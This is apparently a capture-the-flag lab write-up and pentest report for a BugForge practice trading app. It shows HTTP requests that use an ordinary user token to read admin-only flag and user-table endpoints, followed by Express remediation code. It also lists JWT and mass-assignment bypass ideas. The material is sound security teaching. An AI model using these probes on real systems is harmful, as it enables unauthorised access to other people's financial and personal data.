Shady Oaks Financial: Broken Access Control on Admin Route Group
Part 1 — Pentest Report
Executive Summary
Shady Oaks Financial is a multi-currency trading and portfolio application (React SPA + Express JSON API) hosted on the BugForge lab platform. New users register through a public endpoint, receive a balance of EUR 1000, and trade against a static list of five stocks. The application exposes a separate /api/admin/* route group for administrator-only operations: a flag endpoint, a user-table read, transactions, stats, and a stock-trend setter.
Testing confirmed 1 finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Broken Access Control on /api/admin/* route group |
High | 6.5 | CWE-285, CWE-862 | GET /api/admin/flag, GET /api/admin/users |
The admin route group has no server-side role enforcement. A Bearer JWT issued at registration (role: "user") is sufficient to read both /api/admin/flag and /api/admin/users. The user-table read returns every user’s PII and EUR/USD/GBP balances, including the seeded administrator account. Severity is bumped from the raw CVSS math (6.5 Medium) to High by lab-finding-importance: the route group is the application’s admin tier in a finance product, and the engagement’s primary objective sits inside it.
Objective
Single objective: retrieve the flag from /api/admin/flag. Any registered account is acceptable.
Scope / Initial Access
# Target Application
URL: https://lab-1778891665741-ebq1d9.labs-app.bugforge.io
# Auth details
Registration: open, unauthenticated, no email verification.
POST /api/register issues a JWT (HS256) with payload {id, username, role, iat}.
The role claim is set to "user" at registration; the seeded admin account holds role "admin".
Test account: id=4 role=user
/api/verify-token returns the decoded JWT payload alongside a fresh DB lookup, so any privilege change must move through the registration or admin update paths rather than through token forgery (unless the HS256 secret is recoverable).
Reconnaissance — Reading the Admin Panel Component in the React Bundle
- The compiled React bundle (
main.e2f3b33f.js, ~873 KB) was retrieved from the SPA root. JWT claims, endpoint list, and admin-only routes were enumerated from the bundle before sending any request to the admin tier. - The Admin Panel component invokes the flag fetcher inside a conditional that reads
e && "admin" !== e.role && b(). The flag fetch fires only when the current user’s role is not admin. Two readings are possible without server-side evidence: a frontend logic bug, or a frontend deliberately mirroring how the server actually behaves. - The bundle references five admin endpoints:
GET /api/admin/flag,GET /api/admin/users,GET /api/admin/transactions,GET /api/admin/stats, andPUT /api/admin/stocks/:id/trend. All share the same/api/admin/prefix, suggesting a single route group. - The JWT payload includes a
roleclaim. Registration always setsrole: "user", so the cheapest probe against the admin tier is a direct request with the fresh user token; no secret crack or alg-confusion is required to test whether the server checks the claim. - The application advertises a stocks-and-trading domain but the flag is gated behind admin access rather than behind any business-logic path (trade race, currency conversion edge case, etc.). The admin route group is the first place to look.
Observation 2 (the reversed Admin Panel conditional) was the primary motivator for the direct-probe hypothesis on observation 4.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Node.js Express (x-powered-by: Express on every response) |
| Frontend | React SPA, single bundle main.e2f3b33f.js (~873 KB) |
| Auth | JWT HS256, payload {id, username, role, iat}; role claim is set server-side at registration |
| Database | SQL-ish, numeric IDs, snake_case fields (balance_eur, stock_id, created_at) |
| Currencies | EUR (id 1), USD, GBP. New-user starting balance: balance_eur = 1000 |
| CORS | Access-Control-Allow-Origin: * everywhere |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
| /api/register | POST | No | Public registration; returns {token, user} with starting EUR 1000 |
| /api/login | POST | No | Username + password |
| /api/verify-token | GET | Yes | Echoes JWT payload + DB-loaded user record |
| /api/stocks | GET | Yes | Five seeded stocks |
| /api/stocks/:id/history | GET | Yes | Numeric ID in path; ?hours=24 |
| /api/trade | POST | Yes | {stock_id, shares, action} (buy/sell), debits balance_eur |
| /api/convert-currency | POST | Yes | EUR/USD/GBP conversion |
| /api/portfolio | GET | Yes | Current holdings |
| /api/transactions | GET | Yes | Current user only |
| /api/profile | PUT | Yes | {full_name, email}; response is {message} only |
| /api/admin/flag | GET | Yes (any) | Returns flag without role check |
| /api/admin/users | GET | Yes (any) | Returns full user table without role check |
| /api/admin/transactions | GET | Not enumerated | Referenced in bundle |
| /api/admin/stats | GET | Not enumerated | Referenced in bundle |
| /api/admin/stocks/:id/trend | PUT | Not enumerated | Referenced in bundle; would be state-changing |
Known Users
| Username | ID | Role | Source |
|---|---|---|---|
| admin | 1 | admin | Disclosed via GET /api/admin/users ([email protected], balance_eur: 10000) |
| (test account) | 4 | user | Registered for this engagement |
Attack Chain Visualization
┌────────────────────────┐ ┌─────────────────────────┐ ┌─────────────────────────┐
│ POST /api/register │ │ GET /api/admin/flag │ │ GET /api/admin/users │
│ with arbitrary creds │ ▶ │ with the user JWT │ ▶ │ with the same JWT │
│ → 200 with token, │ │ → 200 {"flag":"bug{…}"} │ │ → 200 full user table │
│ role claim is "user" │ │ no role check on server │ │ (PII + all balances) │
└────────────────────────┘ └─────────────────────────┘ └─────────────────────────┘
Findings
F1 — Broken Access Control on /api/admin/* route group
Severity: High
CVSS v3.1: 6.5 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CWE: CWE-285 (Improper Authorization), CWE-862 (Missing Authorization)
Endpoint: GET /api/admin/flag, GET /api/admin/users (route group: /api/admin/*)
Authentication required: Yes (any registered account)
Description
The /api/admin/* route group requires a valid Bearer JWT (authentication is enforced) but does not check the role claim before returning admin-tier data. Two endpoints in the route group were verified:
GET /api/admin/flagreturns the flag in a{"flag": "..."}body to any registered user.GET /api/admin/usersreturns the full user table (id, username, email, full_name, balance_eur, balance_usd, balance_gbp, role, created_at, stock_positions, portfolio_value) to any registered user.
The remaining endpoints in the same route group (/api/admin/transactions, /api/admin/stats, PUT /api/admin/stocks/:id/trend) were referenced from the React bundle but not exercised. Given that two distinct admin endpoints share the same missing role check, the same defect is the most parsimonious explanation for the rest of the group, but that is not confirmed by request/response evidence.
The React Admin Panel component fetches /api/admin/flag inside the conditional e && "admin" !== e.role && b(). The flag fetch fires for non-admin users only. The frontend is internally consistent with the server’s behavior: a non-admin client is the one that actually retrieves the flag, because the server returns it to anyone with a valid token.
Impact
Cross-tenant disclosure of admin-tier data: flag retrieval, plus full user PII and EUR/USD/GBP balances for every account including the seeded administrator.
Reproduction
Step 1 — Register a new account
POST /api/register HTTP/1.1
Host: lab-1778891665741-ebq1d9.labs-app.bugforge.io
Content-Type: application/json
{"username":"haxor","email":"[email protected]","password":"haxor","full_name":"H A"}
Response: 200 {"token":"eyJ...","user":{"id":4,"username":"haxor","role":"user","balance_eur":1000,...}}. The token is an HS256 JWT with payload {id:4, username:"haxor", role:"user", iat:...}.
Step 2 — Retrieve the flag from the admin endpoint with the user token
GET /api/admin/flag HTTP/1.1
Host: lab-1778891665741-ebq1d9.labs-app.bugforge.io
Authorization: Bearer eyJ...
Response: 200 {"flag":"bug{NAvUrtoHNub5iOE2tGMtEZ5AnmMHWPrL}"}. No challenge, no 401/403, no role check.
Step 3 — Confirm the route-group defect by reading the user table
GET /api/admin/users HTTP/1.1
Host: lab-1778891665741-ebq1d9.labs-app.bugforge.io
Authorization: Bearer eyJ...
Response (abridged):
[
{
"id": 1,
"username": "admin",
"email": "[email protected]",
"full_name": "Administrator",
"role": "admin",
"balance_eur": 10000,
"balance_usd": 0,
"balance_gbp": 0,
"created_at": "..."
},
{ "id": 2, "...": "..." },
{ "id": 3, "...": "..." },
{ "id": 4, "username": "haxor", "role": "user", "balance_eur": 1000, "...": "..." }
]
The body contains every user’s PII and balances. Sibling endpoints in the same route group are reachable in the same way and are expected to expose equivalent admin-tier data.
Remediation
Fix 1 — Add a role-check middleware on the /api/admin/* route group
// BEFORE (Vulnerable) — admin routes mounted with only the auth middleware
app.get('/api/admin/flag', requireAuth, adminController.flag);
app.get('/api/admin/users', requireAuth, adminController.users);
app.get('/api/admin/transactions',requireAuth, adminController.transactions);
app.get('/api/admin/stats', requireAuth, adminController.stats);
app.put('/api/admin/stocks/:id/trend', requireAuth, adminController.setTrend);
// AFTER (Secure) — single requireAdmin middleware applied to the whole group
function requireAdmin(req, res, next) {
if (!req.user || req.user.role !== 'admin') {
return res.status(403).json({ error: 'Admin access required' });
}
next();
}
const adminRouter = express.Router();
adminRouter.use(requireAuth);
adminRouter.use(requireAdmin);
adminRouter.get('/flag', adminController.flag);
adminRouter.get('/users', adminController.users);
adminRouter.get('/transactions',adminController.transactions);
adminRouter.get('/stats', adminController.stats);
adminRouter.put('/stocks/:id/trend', adminController.setTrend);
app.use('/api/admin', adminRouter);
Fix 2 — Verify role against the database, not just the JWT claim
// BEFORE (Vulnerable, if Fix 1 used JWT only) — token claim is trusted
function requireAdmin(req, res, next) {
if (req.user.role !== 'admin') return res.status(403).json(...);
next();
}
// AFTER (Secure) — read the current role from the DB record
async function requireAdmin(req, res, next) {
const user = await db.users.findById(req.user.id);
if (!user || user.role !== 'admin') {
return res.status(403).json({ error: 'Admin access required' });
}
req.user = user;
next();
}
Additional recommendations:
- Treat authorization as a route-group concern, not a per-handler one. A single admin route group with shared middleware fails closed across the whole tier when a new admin endpoint is added.
- Do not rely on frontend conditionals to gate access to privileged data. The frontend can and will be edited or bypassed; server-side enforcement is the only control that matters.
- Add an integration test that registers a non-admin user and asserts a 403 on every endpoint under
/api/admin/*. This is the cheapest possible regression guard against the defect class. - Consider an admin-tier audit log: every successful admin request logs
{user_id, route, timestamp}. Even if authorization fails, the log makes the breach observable.
OWASP Top 10 Coverage
- A01:2021 — Broken Access Control: The
/api/admin/*route group does not enforce the role required by its purpose. Any authenticated user reaches it. - A04:2021 — Insecure Design: Authorization is implemented per-handler rather than at the route-group boundary. A frontend conditional was treated as part of the control path.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | HTTP proxy and request editor; used to replay the admin GET with the freshly-issued user Bearer |
| Browser DevTools | Retrieved and read the React bundle (main.e2f3b33f.js) to enumerate admin endpoints and locate the Admin Panel conditional |
| curl | Manual POST /api/register to produce the user token and a clean Bearer for the probes |
References
- CWE-285 — Improper Authorization: https://cwe.mitre.org/data/definitions/285.html
- CWE-862 — Missing Authorization: https://cwe.mitre.org/data/definitions/862.html
- OWASP A01:2021 — Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- OWASP Authorization Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html
Part 2 — Notes / Knowledge
Key Learnings
- A weird-looking frontend authorization check tells you nothing about the server. Inverted, dead, or out-of-place auth conditionals in a SPA bundle aren’t a verdict on which side is broken; they’re a prompt to ask the server directly. Hit the gated endpoint with a non-privileged token before forming an opinion. Applies to any SPA + JSON-API target where the FE source is reachable.
Failed Approaches
No failed approaches for this engagement. The direct probe against /api/admin/flag with a freshly-issued user Bearer landed on the first request. JWT alg-confusion, secret crack, mass assignment on register, mass assignment on profile, verb tampering, and header-based authorization bypasses were ranked as backup hypotheses in the engagement notes but were not exercised.
Tags: #broken-access-control #idor #admin-route-group #jwt #bugforge #webapp #cwe-285 #cwe-862
Document Version: 1.0
Last Updated: 2026-05-16